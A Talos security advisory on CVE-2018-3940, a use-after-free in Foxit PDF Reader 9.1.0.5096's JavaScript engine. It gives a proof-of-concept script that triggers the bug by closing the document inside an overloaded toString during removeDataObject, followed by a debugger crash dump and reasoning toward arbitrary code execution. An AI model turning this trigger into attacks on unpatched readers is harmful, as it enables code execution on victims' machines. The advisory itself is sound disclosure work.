CVE-2018-3940: TALOS-2018-0607 || Cisco Talos Intelligence Group

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking the removeDataObject method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:

function main() {
var a = {};
a.toString = f; 
app.activeDocs[0].removeDataObject(a);
}

function f() {
app.activeDocs[0].closeDoc();
}

main();

In the above code, we create an object a and overload its toString method to be f. Then, when removeDataObject is invoked, toString of the first argument is called, effectively closing the document and freeing a number of objects. When removeDataObject continues execution, it reuses a stale reference of a freed object, causing a crash.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(888.1050): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03f3e880 ebx=00000000 ecx=0ff70da8 edx=07451078 esi=1227fff0 edi=11f58ef0
eip=007c1bc2 esp=03f3e864 ebp=03f3e890 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x6a312:
007c1bc2 8b11            mov     edx,dword ptr [ecx]  ds:0023:0ff70da8=????????
0:000> !heap -p -a ecx
    address 0ff70da8 found in
    _DPH_HEAP_ROOT @ 7451000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    ffa1c30:          ff70000             2000
    6b0f90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    774969cc ntdll!RtlDebugFreeHeap+0x0000002f
    77459e07 ntdll!RtlpFreeHeap+0x0000005d
    774263a6 ntdll!RtlFreeHeap+0x00000142
    7565c614 kernel32!HeapFree+0x00000014
    01bfdf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    000f08bf FoxitReader+0x000d08bf
    000f28a8 FoxitReader+0x000d28a8
    0023965e FoxitReader+0x0021965e
    0023942b FoxitReader+0x0021942b
    0024842a FoxitReader+0x0022842a
    00232fd7 FoxitReader+0x00212fd7
    00232df8 FoxitReader+0x00212df8
    01a551ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    01a590ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    01a5917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    002309f5 FoxitReader+0x002109f5
    01a5ae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
    01a551ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    01a590ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    01a5917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    0015bee7 FoxitReader+0x0013bee7
    007c373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
    007d19e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139

 
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x6a312:
007c1bc2 8b11            mov     edx,dword ptr [ecx]
007c1bc4 8b02            mov     eax,dword ptr [edx]
007c1bc6 ffd0            call    eax
007c1bc8 50              push    eax
007c1bc9 e842b26f00      call    FoxitReader!CryptVerifyMessageSignature+0x765560 (00ebce10)
007c1bce 8d55f0          lea     edx,[ebp-10h]
007c1bd1 8bcc            mov     ecx,esp
007c1bd3 89650c          mov     dword ptr [ebp+0Ch],esp
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 03f3e890 007d3069 FoxitReader!CryptVerifyMessageSignature+0x6a312
01 03f3e8ec 003a1578 FoxitReader!CryptVerifyMessageSignature+0x7b7b9
02 03f3e934 018a9b2e FoxitReader+0x381578
03 03f3e968 018a1946 FoxitReader!CryptVerifyMessageSignature+0x115227e

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see edx being used as a vtable pointer, ultimately leading to call instruction with controllable operand in eax. Since the contents of memory pointed to by ecx can easily be controlled, this leads to relatively straightforward conditions for arbitrary code execution.

Timeline

2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.